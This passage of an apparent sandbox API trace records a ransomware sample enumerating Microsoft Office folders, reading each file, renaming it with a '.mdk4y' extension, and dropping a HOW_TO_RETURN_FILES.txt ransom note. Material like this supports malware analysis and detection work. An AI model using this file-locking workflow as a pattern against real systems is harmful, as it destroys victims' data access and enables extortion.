lpPerformanceCount=0x37de58*=1827529100000) returned 1 [0200.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827529100000) returned 1 [0200.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif.mdk4y")) returned 1 [0200.063] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.063] AreFileApisANSI () returned 1 [0200.063] GetACP () returned 0x4e4 [0200.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR8B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR8B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827529500000) returned 1 [0200.065] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1038, lpOverlapped=0x0) returned 1 [0200.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827529800000) returned 1 [0200.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827529800000) returned 1 [0200.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif.mdk4y")) returned 1 [0200.070] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.070] AreFileApisANSI () returned 1 [0200.070] GetACP () returned 0x4e4 [0200.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR8F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR8F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.070] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530100000) returned 1 [0200.071] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d54, lpOverlapped=0x0) returned 1 [0200.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530200000) returned 1 [0200.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530200000) returned 1 [0200.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif.mdk4y")) returned 1 [0200.074] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.074] AreFileApisANSI () returned 1 [0200.074] GetACP () returned 0x4e4 [0200.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR9B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR9B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530600000) returned 1 [0200.076] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3e39, lpOverlapped=0x0) returned 1 [0200.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530700000) returned 1 [0200.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827530700000) returned 1 [0200.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif.mdk4y")) returned 1 [0200.079] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.079] AreFileApisANSI () returned 1 [0200.079] GetACP () returned 0x4e4 [0200.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR9F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR9F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.079] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827531000000) returned 1 [0200.080] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x46ec, lpOverlapped=0x0) returned 1 [0200.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827544000000) returned 1 [0200.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827544000000) returned 1 [0200.211] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif.mdk4y")) returned 1 [0200.212] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0200.212] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0200.213] AreFileApisANSI () returned 1 [0200.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0200.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0200.214] GetFileType (hFile=0xd8) returned 0x1 [0200.215] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.215] AreFileApisANSI () returned 1 [0200.215] GetACP () returned 0x4e4 [0200.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBWZINT.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUBWZINT.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0200.216] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827544700000) returned 1 [0200.217] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29d68, lpOverlapped=0x0) returned 1 [0200.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827546400000) returned 1 [0200.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827546400000) returned 1 [0200.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.mdk4y")) returned 1 [0200.238] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.238] AreFileApisANSI () returned 1 [0200.238] GetACP () returned 0x4e4 [0200.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBWZINT.REST.IDX_DLL", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUBWZINT.REST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 21 [0200.238] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827546900000) returned 1 [0200.240] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a780, lpOverlapped=0x0) returned 1 [0200.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827552400000) returned 1 [0200.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827552400000) returned 1 [0200.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.mdk4y")) returned 1 [0200.299] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.299] AreFileApisANSI () returned 1 [0200.299] GetACP () returned 0x4e4 [0200.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QRYINT32.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QRYINT32.DLLT.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0200.299] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827553000000) returned 1 [0200.300] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14760, lpOverlapped=0x0) returned 1 [0200.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827555700000) returned 1 [0200.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827555700000) returned 1 [0200.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.mdk4y")) returned 1 [0200.329] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.329] AreFileApisANSI () returned 1 [0200.329] GetACP () returned 0x4e4 [0200.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QuickStyles", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="QuickStylesL", lpUsedDefaultChar=0x37df4c) returned 11 [0200.329] AreFileApisANSI () returned 1 [0200.329] GetACP () returned 0x4e4 [0200.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\") returned 60 [0200.346] AreFileApisANSI () returned 1 [0200.346] GetACP () returned 0x4e4 [0200.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0200.346] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.346] AreFileApisANSI () returned 1 [0200.346] GetACP () returned 0x4e4 [0200.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0200.346] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.346] AreFileApisANSI () returned 1 [0200.346] GetACP () returned 0x4e4 [0200.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Classic.dotx", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Classic.dotxg", lpUsedDefaultChar=0x37dec0) returned 12 [0200.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827557700000) returned 1 [0200.348] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2387, lpOverlapped=0x0) returned 1 [0200.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827557900000) returned 1 [0200.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827557900000) returned 1 [0200.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.mdk4y")) returned 1 [0200.351] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.351] AreFileApisANSI () returned 1 [0200.351] GetACP () returned 0x4e4 [0200.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Default.dotx", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Default.dotx", lpUsedDefaultChar=0x37dec0) returned 12 [0200.351] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827558100000) returned 1 [0200.351] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x23e0, lpOverlapped=0x0) returned 1 [0200.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827559800000) returned 1 [0200.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827559800000) returned 1 [0200.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.mdk4y")) returned 1 [0200.370] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.370] AreFileApisANSI () returned 1 [0200.370] GetACP () returned 0x4e4 [0200.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DefaultBlackAndWhite.dotx", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DefaultBlackAndWhite.dotx", lpUsedDefaultChar=0x37dec0) returned 25 [0200.371] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827560200000) returned 1 [0200.372] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20f5, lpOverlapped=0x0) returned 1 [0200.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827561500000) returned 1 [0200.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827561500000) returned 1 [0200.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.mdk4y")) returned 1 [0200.387] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.387] AreFileApisANSI () returned 1 [0200.387] GetACP () returned 0x4e4 [0200.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Distinctive.dotx", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Distinctive.dotxhite.dotx", lpUsedDefaultChar=0x37dec0) returned 16 [0200.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827561800000) returned 1 [0200.388] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2169, lpOverlapped=0x0) returned 1 [0200.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827561900000) returned 1 [0200.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827561900000) returned 1 [0200.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.mdk4y")) returned 1 [0200.390] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.390] AreFileApisANSI () returned 1 [0200.390] GetACP () returned 0x4e4 [0200.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Elegant.dotx", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Elegant.dotxdotx", lpUsedDefaultChar=0x37dec0) returned 12 [0200.390] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827562100000) returned 1 [0200.391] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x222a, lpOverlapped=0x0) returned 1 [0200.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827564700000) returned 1 [0200.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827564700000) returned 1 [0200.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.mdk4y")) returned 1 [0200.419] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.419] AreFileApisANSI () returned 1 [0200.419] GetACP () returned 0x4e4 [0200.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fancy.dotx", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Fancy.dotxtx", lpUsedDefaultChar=0x37dec0) returned 10 [0200.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), 